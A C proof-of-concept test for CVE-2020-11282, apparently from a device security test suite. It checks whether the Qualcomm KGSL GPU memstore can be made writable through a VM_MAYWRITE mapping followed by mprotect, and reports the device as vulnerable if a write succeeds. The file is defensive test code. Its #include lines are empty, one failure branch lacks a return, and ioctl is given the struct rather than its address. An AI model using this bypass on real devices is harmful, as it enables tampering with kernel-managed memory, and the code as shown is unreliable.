/* * CVE-2020-11282 */ #include "../includes/common.h" #include #include #include #include #include #include #include #define VM_MAYWRITE 0x00000020 #define KGSL_IOC_TYPE 0x09 #define KGSL_PROP_DEVICE_SHADOW 0x2 #define IOCTL_KGSL_DEVICE_GETPROPERTY \ _IOWR(KGSL_IOC_TYPE, 0x2, struct kgsl_device_getproperty) struct kgsl_device_getproperty { unsigned int type; void __user *value; size_t sizebytes; }; struct kgsl_shadowprop { unsigned long gpuaddr; size_t size; unsigned int flags; /* contains KGSL_FLAGS_ values */ }; int main() { int x; int y; struct kgsl_device_getproperty param; struct kgsl_shadowprop shadowprop; int kgsl_fd; kgsl_fd = open("/dev/kgsl-3d0", 0); if (kgsl_fd < 0) { EXIT_FAILURE; } param.type = KGSL_PROP_DEVICE_SHADOW; param.value = &shadowprop; param.sizebytes = sizeof(shadowprop); if (ioctl(kgsl_fd, IOCTL_KGSL_DEVICE_GETPROPERTY, param) < 0) { return EXIT_FAILURE; } // validity checking that mmap of memstore with PROT_WRITE is blocked uint8_t *mmapped = mmap(NULL, shadowprop.size, PROT_READ | PROT_WRITE, MAP_PRIVATE, kgsl_fd, shadowprop.gpuaddr); FAIL_CHECK(!(mmapped != MAP_FAILED)); mmapped = mmap(NULL, shadowprop.size, PROT_READ | VM_MAYWRITE, MAP_PRIVATE, kgsl_fd, shadowprop.gpuaddr); FAIL_CHECK(!(mmapped == MAP_FAILED)); if (mprotect(mmapped, shadowprop.size, PROT_READ | PROT_WRITE)) { return EXIT_FAILURE; } x = mmapped[0]; mmapped[0] = 0xFF; y = mmapped[0]; return (x == 0 && y == 255) ? EXIT_VULNERABLE : EXIT_SUCCESS; }